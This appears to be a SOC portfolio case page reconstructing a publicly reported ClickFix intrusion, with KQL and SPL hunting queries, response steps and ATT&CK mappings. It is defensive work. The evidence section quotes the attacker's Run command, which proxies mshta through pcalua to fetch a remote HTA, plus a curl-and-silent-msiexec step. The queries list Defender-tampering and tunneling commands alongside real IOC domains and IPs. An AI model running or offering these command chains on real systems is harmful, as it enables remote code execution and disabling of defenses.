CasesCASE-002

SOC investigation

ClickFix Prompt Leads to Remote Access

A compromised website led to Run-dialog execution, remote HTA retrieval, silent MSI installation, persistence, and a remote-access foothold.

Based on publicly reported attack activity. User identities and workstation names have been anonymized.

User: denis@example.com
Device: NVV-EX-2123
Initial alert: Suspicious Run-dialog execution using pcalua.exe and mshta.exe
Severity: High

Case story

What happened

Denis visited a compromised website and followed a verification-style prompt. The Run command proxied mshta.exe through pcalua.exe, retrieved a remote HTA, and led to silent MSI installation, persistence, and remote-access tooling.

Initial action
Attacker-supplied Run command executed
The user followed a verification-style prompt and ran the reported pcalua.exe and mshta.exe command.
Next stage
Remote HTA retrieved a silent MSI
The HTA used curl to retrieve inst24.msi and launched it through msiexec /qn.
After installation
Run-key persistence established
The MSI dropped RunSearch.exe and registered it in the current-user Run key.
After persistence
Remote-access capability delivered
Potemkin reached command-and-control infrastructure and delivered the RMMProject module.
Five hours later
Follow-on intrusion activity appeared
EtherRAT activity preceded Defender tampering, tunneling, remote execution, and spread across 11 hosts.

Investigation

What was checked

Follow how the analyst tested and revised explanations. This is discovery order, not event chronology.

01
Check how execution started
The reported Run command used pcalua.exe to proxy mshta.exe and retrieve a remote HTA.
Next pivot
Check web or proxy telemetry immediately before execution and follow the remote HTA request.
View query
Q-01
Recover patient-zero web activity before Run execution
What this checks
Recover the URL, domain, or referrer visible immediately before suspicious RunMRU activity on NVV-EX-2123 without inventing the unpublished compromised website.
KQL
let patient_zero = "NVV-EX-2123"; let run_events = DeviceRegistryEvents | where DeviceName =~ patient_zero | where RegistryKey endswith @"\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" | where RegistryValueData has_any ( "pcalua", "mshta", "powershell", "pwsh", "rundll32", "regsvr32", "wscript", "cscript", "curl", "certutil", "msiexec", "http://", "https://" ) | project RunTime = Timestamp, DeviceId, DeviceName, RunCommand = RegistryValueData; DeviceNetworkEvents | join kind=inner run_events on DeviceId | where Timestamp between (RunTime - 15m .. RunTime) | project RunTime, Timestamp, DeviceName, RunCommand, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort | order by RunTime asc, Timestamp asc
SPL
| multisearch [ | tstats count from datamodel=Endpoint.Registry where Registry.dest="NVV-EX-2123" Registry.registry_path="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU*" by _time Registry.dest Registry.user Registry.registry_value_data | rename Registry.dest as dest Registry.user as user Registry.registry_value_data as run_command | where match(lower(run_command), "(pcalua|mshta|powershell|pwsh|rundll32|regsvr32|wscript|cscript|curl|certutil|msiexec|https?://)") | eval stage="run" ] [ | tstats count values(Web.url) as urls values(Web.http_referrer) as referrers from datamodel=Web.Web where Web.src="NVV-EX-2123" by _time Web.src Web.user Web.url_domain Web.action | rename Web.src as dest Web.user as user Web.url_domain as url_domain Web.action as action | eval stage="web" ] | sort 0 dest - _time | streamstats current=f last(eval(if(stage="run", _time, null()))) as run_time last(eval(if(stage="run", run_command, null()))) as run_command by dest | where stage="web" AND isnotnull(run_time) AND _time<=run_time AND _time>=run_time-900 | table run_time _time dest user run_command url_domain urls referrers action count | sort run_time _time
What to look for
A recoverable source URL, referrer, redirect, or domain that can be searched across all users and devices with its execution context preserved.
Technical details
Tested signal
Browser or web activity on patient zero during the fifteen minutes before a suspicious RunMRU event.
Assumptions
RunMRU and endpoint network events share a stable device identifier and comparable timestamps.
Full source URL or referrer recovery may require proxy or web telemetry beyond endpoint network events.
Data requirements and relevant fields
registry
Patient-zero RunMRU events used to derive execution order from observed telemetry.
Timestamp
DeviceId
DeviceName
RegistryKey
RegistryValueData
InitiatingProcessAccountUpn
network
Preceding endpoint network or mapped proxy activity with destination, process, user, and timestamp context.
Timestamp
DeviceId
DeviceName
RemoteUrl
RemoteIP
RemotePort
InitiatingProcessFileName
InitiatingProcessCommandLine
KQL schema
DeviceNetworkEvents can recover preceding destinations but may not retain browser URL or referrer. Substitute mapped web or proxy telemetry where those fields are available.
SPL schema
Requires Registry and Web telemetry mapped to Splunk CIM. Web.http_referrer and full URL retention vary by source and must be confirmed locally.
Limitations
DeviceNetworkEvents may show destinations without the full browser URL or referrer.
Absence of retained web telemetry does not weaken the documented ClickFix execution chain.
Nearby web activity must still be correlated with the user action and cannot be assumed causal.
The KQL variant derives the lookback from RunMRU and endpoint network telemetry. The SPL variant uses CIM Registry and Web events; referrer and full URL fields require local mapping.
More reasoning
Observation
Suspicious native-tool execution appeared in the user's interactive Windows session.
Working explanation
A verification-style prompt may have convinced the user to run an attacker-supplied command.
What was checked
Review the full command, parent-child process context, user session, and available web activity immediately before execution.
Interpretation
The user action created the initial execution path. The command should be treated as incident evidence, not an instruction.
Supporting evidence
E-01

Next pivot

Follow the MSI, its dropped files, and any persistence created during installation.

View query

What this checks

Correlate suspicious Windows Run commands with native-tool execution and remote retrieval on the same device within five minutes.

KQL

let correlation_window = 5m;
let suspicious_run =
    DeviceRegistryEvents
    | where RegistryKey endswith @"\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
    | where RegistryValueData has_any (
        "pcalua", "mshta", "powershell", "pwsh", "rundll32",
        "regsvr32", "wscript", "cscript", "curl", "certutil",
        "msiexec", "http://", "https://"
    )
    | project RunTime = Timestamp, DeviceId, DeviceName,
        RunUser = InitiatingProcessAccountUpn, RunCommand = RegistryValueData;
let suspicious_process =
    DeviceProcessEvents
    | where FileName in~ (
        "cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
        "rundll32.exe", "regsvr32.exe", "wscript.exe", "cscript.exe",
        "curl.exe", "certutil.exe", "msiexec.exe", "pcalua.exe"
    )
    | where ProcessCommandLine has_any (
        "http://", "https://", "pcalua", "mshta", "curl", "certutil",
        " /i ", " /qn", "-enc", "-encodedcommand",
        "downloadstring", "invoke-webrequest"
    )
    | project ProcTime = Timestamp, DeviceId, ProcUser = AccountUpn,
        FileName, ProcessCommandLine,
        InitiatingProcessFileName, InitiatingProcessCommandLine;
suspicious_run
| join kind=inner suspicious_process on DeviceId
| where ProcTime between (RunTime .. RunTime + correlation_window)
| where isempty(RunUser) or isempty(ProcUser) or RunUser =~ ProcUser
| project RunTime, ProcTime, DeviceName, User = coalesce(RunUser, ProcUser),
    RunCommand, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| order by ProcTime desc

SPL

| multisearch
    [ | tstats count
        from datamodel=Endpoint.Registry
        where Registry.registry_path="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU*"
        by _time Registry.dest Registry.user Registry.registry_value_data
      | rename Registry.dest as dest Registry.user as user Registry.registry_value_data as run_command
      | eval stage="run"
      | where match(lower(run_command),
          "(pcalua|mshta|powershell|pwsh|rundll32|regsvr32|wscript|cscript|curl|certutil|msiexec|https?://)")
    ]
    [ | tstats count
        from datamodel=Endpoint.Processes
        where Processes.process_name IN
          ("cmd.exe","powershell.exe","pwsh.exe","mshta.exe","rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe","curl.exe","certutil.exe","msiexec.exe","pcalua.exe")
        by _time Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name
      | rename Processes.dest as dest Processes.user as user Processes.process_name as process_name Processes.process as process Processes.parent_process_name as parent_process_name
      | eval stage="process"
      | where match(lower(process),
          "(https?://|pcalua|mshta|curl|certutil| /i | /qn|-enc|-encodedcommand|downloadstring|invoke-webrequest)")
    ]
| sort 0 dest _time
| streamstats current=f
    last(eval(if(stage="run", _time, null()))) as run_time
    last(eval(if(stage="run", run_command, null()))) as run_command
    by dest
| where stage="process" AND isnotnull(run_time) AND _time>=run_time AND _time<=run_time+300
| table run_time _time dest user run_command process_name parent_process_name process
| sort - _time

What to look for

A suspicious Run command followed within minutes by native tooling that retrieves remote content, launches a remote script, or silently executes a downloaded package.

Technical details

Tested signal

A suspicious RunMRU command followed by a native tool that references remote content, retrieval behavior, or silent follow-on execution.

Assumptions

RunMRU registry telemetry is collected with device and initiating-user context.
Registry and process timestamps are comparable.
The five-minute window is reviewed and tuned for the local environment.

Data requirements and relevant fields

registry: RunMRU registry events preserving device, user, command, and timestamp.
Timestamp
DeviceId
DeviceName
RegistryKey
RegistryValueData
InitiatingProcessAccountUpn
process: Native-tool execution with account, command line, parent process, device, and timestamp.
Timestamp
DeviceId
AccountUpn
FileName
ProcessCommandLine
InitiatingProcessFileName
InitiatingProcessCommandLine

KQL schema

Uses Microsoft Defender XDR DeviceRegistryEvents and DeviceProcessEvents. Map the same analytical question to equivalent registry and process sources where required.

SPL schema

Requires Registry and Process telemetry mapped to Splunk CIM. Same-device and time correlation remains primary where user normalization differs.

Limitations

RunMRU population and initiating-user fields depend on endpoint telemetry.
Native tools are not malicious by themselves; approved administration and deployment activity can resemble the chain.
Same-device and time correlation is primary when user normalization is incomplete.

Both variants preserve same-device and five-minute correlation. Registry, process, and user-field normalization must be adapted locally.

More reasoning

Observation

The initial command pointed mshta.exe at remote content.

Working explanation

The HTA may retrieve and launch the next stage through native tooling.

What was checked

Follow the HTA behavior, download request, created file, and process execution.

Interpretation

The remote HTA was a delivery step for the MSI rather than the final payload.

Supporting evidence

E-01
E-02

03
Check for persistence
inst24.msi dropped RunSearch.exe and registered it in the current-user Run key.
Next pivot
Follow network activity and modules launched by RunSearch.exe.
View query
Q-03
Search for RunSearch persistence
What this checks
Determine whether the downloaded MSI established the reported current-user Run-key persistence.
KQL
DeviceRegistryEvents | where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run" | where RegistryValueName =~ "RunSearch" or RegistryValueData has "RunSearch.exe" | project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName | order by Timestamp asc
SPL
| tstats count from datamodel=Endpoint.Registry where Registry.registry_path="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*" by _time Registry.dest Registry.registry_value_name Registry.registry_value_data | rename Registry.dest as dest Registry.registry_value_name as value_name Registry.registry_value_data as value_data | where value_name="RunSearch" OR match(lower(value_data), "runsearch\.exe") | table _time dest value_name value_data count | sort _time
What to look for
A RunSearch startup value or matching executable path that can be correlated with MSI and process activity on the same device.
Technical details
Tested signal
A Run-key value named RunSearch or value data pointing to RunSearch.exe below the user's local AppData path.
Assumptions
Current-user Run-key telemetry preserves the value name, data, device, and timestamp.
Registry collection covers the affected user's hive.
Data requirements and relevant fields
registry
Current-user startup persistence with device, key, value, data, process, and timestamp context.
Timestamp
DeviceName
RegistryKey
RegistryValueName
RegistryValueData
InitiatingProcessFileName
KQL schema
Uses Microsoft Defender XDR DeviceRegistryEvents and the source-reported RunSearch persistence pattern.
SPL schema
Requires Registry telemetry mapped to the Splunk CIM Endpoint data model.
Limitations
Registry telemetry may begin after the value was created.
Matching names or paths require file, hash, process, and network correlation before assessment.
Both variants use the approved Run-key pivot from the wider post-compromise query; local registry paths and value fields require mapping.
More reasoning
Observation
The MSI installed a new executable below the user's AppData path.
Working explanation
The package may have established user-level startup persistence.
What was checked
Review the dropped path and current-user startup registry keys.
Interpretation
The loader had a repeatable user-logon persistence path.
Supporting evidence
E-02
E-03
04
Follow command-and-control behavior
The source captured Potemkin C2 at anus-staylard[.]xyz and an RMMProject module with browser credential theft and remote-control capabilities.
Next pivot
Check browser credential access, persistence, and all outbound infrastructure associated with the same host.
View query
Q-04
Search source-reported command-and-control infrastructure
What this checks
Find network activity matching infrastructure publicly reported in the May 2026 Huntress intrusion.
KQL
let incident_domains = dynamic([ "cl.distritovagas.com", "sonra.eutialyson.com", "anus-staylard.xyz", "resumeacceptable.com" ]); let incident_ips = dynamic(["77.110.122.58", "213.165.41.26"]); DeviceNetworkEvents | where RemoteUrl has_any (incident_domains) or RemoteIP in (incident_ips) | project Timestamp, DeviceName, DeviceId, InitiatingProcessAccountUpn, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort | order by Timestamp asc
SPL
| multisearch [ | tstats count min(_time) as first_seen max(_time) as last_seen values(Web.url) as urls from datamodel=Web.Web where Web.url_domain="cl.distritovagas.com" OR Web.url_domain="sonra.eutialyson.com" OR Web.url_domain="anus-staylard.xyz" OR Web.url_domain="resumeacceptable.com" by Web.src Web.user Web.url_domain | rename Web.src as src Web.user as user Web.url_domain as indicator | eval indicator_type="domain" ] [ | tstats count min(_time) as first_seen max(_time) as last_seen from datamodel=Network_Traffic.All_Traffic where Network_Traffic.All_Traffic.dest_ip="77.110.122.58" OR Network_Traffic.All_Traffic.dest_ip="213.165.41.26" by Network_Traffic.All_Traffic.src Network_Traffic.All_Traffic.user Network_Traffic.All_Traffic.dest_ip | rename Network_Traffic.All_Traffic.src as src Network_Traffic.All_Traffic.user as user Network_Traffic.All_Traffic.dest_ip as indicator | eval indicator_type="ip" ] | table first_seen last_seen src user indicator_type indicator urls count | sort first_seen
What to look for
A device or user contacting source-reported infrastructure with process, URL, and destination context available for endpoint correlation.
Technical details
Tested signal
Network or web activity matching a source-reported domain or IP address.
Assumptions
Domain and IP fields are normalized without defanging in the underlying telemetry.
The values remain scoped to the cited Huntress intrusion and are not treated as universal ClickFix infrastructure.
Data requirements and relevant fields
network
Endpoint network or mapped web activity with device, user, process, URL, IP, port, and timestamp.
Timestamp
DeviceName
DeviceId
User
RemoteUrl
RemoteIP
RemotePort
InitiatingProcessFileName
InitiatingProcessCommandLine
KQL schema
Uses Microsoft Defender XDR DeviceNetworkEvents. Map domains into RemoteUrl, DNS, proxy, or product-specific fields as required.
SPL schema
Requires Web and Network Traffic telemetry mapped to Splunk CIM. Domain, URL, user, and destination fields vary by source.
Limitations
Products map domains into different URL, domain, destination, DNS, or proxy fields.
An IOC match is incident context, not proof that every process or host followed the same chain.
Both variants search the same incident-scoped values. Local web, DNS, proxy, and network fields require adaptation.
More reasoning
Observation
RunSearch.exe began network activity after persistence was established.
Working explanation
Potemkin may be locating C2 and delivering remote-access capability.
What was checked
Review destination infrastructure, request patterns, delivered modules, and browser-access behavior.
Interpretation
The foothold supported credential exposure and interactive remote access, not only one-time payload execution.
Supporting evidence
E-03
E-04

Next pivot

Hunt the wider environment for the same infrastructure, execution chain, persistence, security-control tampering, and remote-execution behavior.

View query

What this checks

Search for persistence, Defender tampering, tunneling, remote administration, and later-stage infrastructure reported after the initial foothold.

KQL

union
(
    DeviceRegistryEvents
    | where
        (RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run"
         and (RegistryValueName in~ ("RunSearch", "WindowsHost", "EdgeUpdate")
              or RegistryValueData has_any ("RunSearch.exe", "conhost --headless", "node.exe")))
        or RegistryValueData has_any (
            "DisableRealtimeMonitoring", "DisableIOAVProtection", "DisableBehaviorMonitoring"
        )
    | project Timestamp, DeviceName, Source="Registry",
        Detail=strcat(RegistryKey, " | ", RegistryValueName, " | ", RegistryValueData)
),
(
    DeviceProcessEvents
    | where ProcessCommandLine has_any (
        "Stop-Service WinDefend", "sc.exe config WinDefend",
        "Add-MpPreference -ExclusionPath", "conhost --headless",
        "cloudflared", "chisel", "psexec", "wmic", "winrs"
    ) or FileName in~ ("psexec.exe", "cloudflared.exe")
    | project Timestamp, DeviceName, Source="Process", Detail=ProcessCommandLine
),
(
    DeviceNetworkEvents
    | where RemoteIP in ("77.110.122.58", "213.165.41.26")
    | project Timestamp, DeviceName, Source="Network",
        Detail=strcat(RemoteIP, ":", tostring(RemotePort), " | ", RemoteUrl)
)
| order by Timestamp asc

SPL

| multisearch
    [ | tstats count
        from datamodel=Endpoint.Registry
        where Registry.registry_path="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*"
        by _time Registry.dest Registry.registry_value_name Registry.registry_value_data
      | rename Registry.dest as dest Registry.registry_value_name as value_name Registry.registry_value_data as detail
      | where value_name IN ("RunSearch","WindowsHost","EdgeUpdate")
          OR match(lower(detail), "(runsearch\.exe|conhost --headless|node\.exe)")
      | eval source_type="registry"
    ]
    [ | tstats count
        from datamodel=Endpoint.Processes
        by _time Processes.dest Processes.process_name Processes.process
      | rename Processes.dest as dest Processes.process_name as process_name Processes.process as detail
      | where match(lower(detail),
          "(stop-service\s+windefend|sc\.exe\s+config\s+windefend|add-mppreference\s+-exclusionpath|conhost\s+--headless|cloudflared|chisel|psexec|wmic|winrs)")
      | eval source_type="process"
    ]
    [ | tstats count
        from datamodel=Network_Traffic.All_Traffic
        where Network_Traffic.All_Traffic.dest_ip="77.110.122.58"
            OR Network_Traffic.All_Traffic.dest_ip="213.165.41.26"
        by _time Network_Traffic.All_Traffic.src Network_Traffic.All_Traffic.dest_ip Network_Traffic.All_Traffic.dest_port
      | rename Network_Traffic.All_Traffic.src as dest Network_Traffic.All_Traffic.dest_ip as remote_ip Network_Traffic.All_Traffic.dest_port as remote_port
      | eval detail=remote_ip.":".remote_port, source_type="network"
    ]
| table _time dest source_type process_name value_name detail count
| sort _time

What to look for

A device showing matching persistence, security-control tampering, tunneling, remote execution, or incident-scoped later-stage infrastructure.

Technical details

Tested signal

Run-key patterns, security-control changes, tunnel or remote-execution commands, and source-reported later-stage IP addresses.

Assumptions

Registry, process, and network events can be normalized to a common device and timestamp context.
WMIExec and SMBExec are hunted by behavior rather than literal executable names.

Data requirements and relevant fields

registry: Startup persistence and Defender configuration changes with device, key, value, data, and timestamp.
Timestamp
DeviceName
RegistryKey
RegistryValueName
RegistryValueData
process: Defender changes, tunnels, and remote-execution process activity with device, image, command, and timestamp.
Timestamp
DeviceName
FileName
ProcessCommandLine
network: Connections to source-reported later-stage addresses with device, IP, port, URL, and timestamp.
Timestamp
DeviceName
RemoteIP
RemotePort
RemoteUrl

KQL schema

Uses Microsoft Defender XDR registry, process, and network tables. WMIExec and SMBExec require local remote-service and administrative-share behavior mapping.

SPL schema

Requires Endpoint Registry, Endpoint Processes, and Network Traffic data models. WMIExec and SMBExec should be mapped to remote-service, batch-file, administrative-share, and authentication behavior.

Limitations

Literal tool names are not required for WMIExec or SMBExec behavior.
Registry-value and process-command coverage varies by endpoint product and policy.
Not every host in the source intrusion showed every artifact.

Both variants preserve the approved registry, process, and network pivots. Local schemas may require separate searches before correlation by device and time.

More reasoning

Observation

Additional tooling and hands-on-keyboard behavior followed the initial foothold.

Working explanation

The intrusion may have expanded beyond patient zero through remote execution and tunneling.

What was checked

Review security-control changes, tunnels, remote execution, authentication paths, and activity on other systems.

Interpretation

No single artifact covered every host, so wider scoping must combine infrastructure, persistence, execution, and remote-access behavior.

Supporting evidence

E-04
E-05

Response

Actions to take

Contain affected systems, preserve evidence, and scope the same behavior elsewhere.

Isolate NVV-EX-2123.
Stop the malicious process chain and remove confirmed persistence.
Revoke active browser and cloud sessions, then reset credentials that may have been exposed.
Review browser credential and cookie access.
Block the confirmed incident-scoped infrastructure.
Check for Defender tampering and restore protection where required.
Hunt other endpoints for the same execution, persistence, network, and remote-access behavior.
Review remote administrative activity originating from the compromised endpoint.

Conclusion

What was concluded

The ClickFix prompt turned a user action into remote code execution. The downloaded MSI established persistence and delivered tooling capable of browser credential theft and remote access. The source incident later expanded into hands-on-keyboard activity across 11 hosts.

This portfolio Case follows the publicly reported sequence. Huntress did not publish the original compromised website, and SOC//LIFE does not invent it or claim observation in a customer environment.

Technical detail

Technical evidence

Stable evidence anchors preserve the fields behind the investigation story.

Source: Huntress May 2026 ClickFix intrusion
Telemetry class: Process
Timestamp: Not applicable

The reported Windows Run command used pcalua.exe to proxy mshta.exe and retrieve a remote HTA.

Account: denis@example.com
Expected device: NVV-EX-2123
Command: cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas[.]com/hte[.]hta"\1

Referenced by

Step 01
Step 02

Source: Huntress May 2026 ClickFix intrusion
Telemetry class: File
Timestamp: Not applicable

The HTA used curl to retrieve inst24.msi and launched the package silently through msiexec.

HTA: hte.hta
Download: sonra.eutialyson[.]com/inst24.msi
Installer: inst24.msi
Installer SHA-256: 79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197ee9e089b
Execution: msiexec /qn

Referenced by

Step 02
Step 03

Source: Huntress May 2026 ClickFix intrusion
Telemetry class: Registry
Timestamp: Not applicable

The MSI dropped RunSearch.exe under the user's AppData path and created current-user Run-key persistence.

Path: C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe
Filename: RunSearch.exe
SHA-256: 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b
Registry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch

Referenced by

Step 03
Step 04

Source: Huntress May 2026 ClickFix intrusion
Telemetry class: Network
Timestamp: Not applicable

Potemkin located command-and-control infrastructure and delivered RMMProject capability for browser credential theft and remote control.

C2: anus-staylard[.]xyz
User agent: cpp-httplib/0.12.1
Request: GET /api/client_hello
Module: avast_update.bin / RMMProject
Module SHA-256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce

Referenced by

Step 04
Step 05

Source: Huntress May 2026 ClickFix intrusion
Telemetry class: Endpoint
Timestamp: Not applicable

Later activity included EtherRAT, Defender tampering, tunneling, and remote execution across an intrusion that ultimately spanned 11 hosts.

Later stage: EtherRAT observed five hours after Potemkin execution
Primary C2: 77[.]110[.]122[.]58
Chisel server: 213[.]165[.]41[.]26
Ether RAT C2: resumeacceptable[.]com
Ethereum contract: 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831
Spread: 11 hosts
Lateral movement: WMIExec and SMBExec behavior

Referenced by

Step 05

Detection engineering

Would your SOC catch this behavior?

See the detection built for this investigation.

View detection

Behavior context

ATT&CK and sources

Behavior mapping

MITRE ATT&CK

T1204.004 · Malicious Copy and PasteEnterprise ATT&CK 19.2
The user was instructed to copy an attacker-supplied command into Windows Run.
T1218.005 · MshtaEnterprise ATT&CK 19.2
The reported command proxied remote HTA execution through mshta.exe.
T1218.007 · MsiexecEnterprise ATT&CK 19.2
The retrieved MSI was launched silently through msiexec.
T1105 · Ingress Tool TransferEnterprise ATT&CK 19.2
The HTA retrieved inst24.msi from remote infrastructure.
T1547.001 · Registry Run Keys / Startup FolderEnterprise ATT&CK 19.2
RunSearch.exe was registered in the current-user Run key.
T1555.003 · Credentials from Web BrowsersEnterprise ATT&CK 19.2
The delivered RMMProject module included browser credential and cookie theft capability.
T1685 · Disable or Modify ToolsEnterprise ATT&CK 19.2
Later hands-on-keyboard activity in the source intrusion modified or disabled Defender controls.
T1047 · Windows Management InstrumentationEnterprise ATT&CK 19.2
The source intrusion used WMIExec behavior during lateral movement.
T1021.002 · SMB/Windows Admin SharesEnterprise ATT&CK 19.2
The source intrusion used SMBExec behavior and administrative shares during lateral movement.

These mappings describe the behavior examined here. They do not establish attribution.

Review boundary

Sources and limits

Last reviewed: Aug 29, 2026
External sources: 1

This case documents the available evidence and analytical limits; control effectiveness is environment-specific.

Potemkin Loader & RMMProject: The Anatomy of a ClickFix AttackHuntress

Sections

What happened
Investigation
Actions
Conclusion
Evidence
Detection
Context

What happened

Attacker-supplied Run command executed

Remote HTA retrieved a silent MSI

Run-key persistence established

Remote-access capability delivered

Follow-on intrusion activity appeared

What was checked

Next pivot

What this checks

KQL

SPL

What to look for

Tested signal

Assumptions

Data requirements and relevant fields

KQL schema

SPL schema

Limitations

Observation

Working explanation

What was checked

Interpretation

Next pivot

What this checks

KQL

SPL

What to look for

Tested signal

Assumptions

Data requirements and relevant fields

KQL schema

SPL schema

Limitations

Observation

Working explanation

What was checked

Interpretation

Next pivot

What this checks

KQL

SPL

What to look for

Tested signal

Assumptions

Data requirements and relevant fields

KQL schema

SPL schema

Limitations

Observation

Working explanation

What was checked

Interpretation

Next pivot

What this checks

KQL

SPL

What to look for

Tested signal

Assumptions

Data requirements and relevant fields

KQL schema

SPL schema

Limitations

Observation

Working explanation

What was checked

Interpretation

Next pivot

What this checks

KQL

SPL

What to look for

Tested signal

Assumptions

Data requirements and relevant fields

KQL schema

SPL schema

Limitations

Observation

Working explanation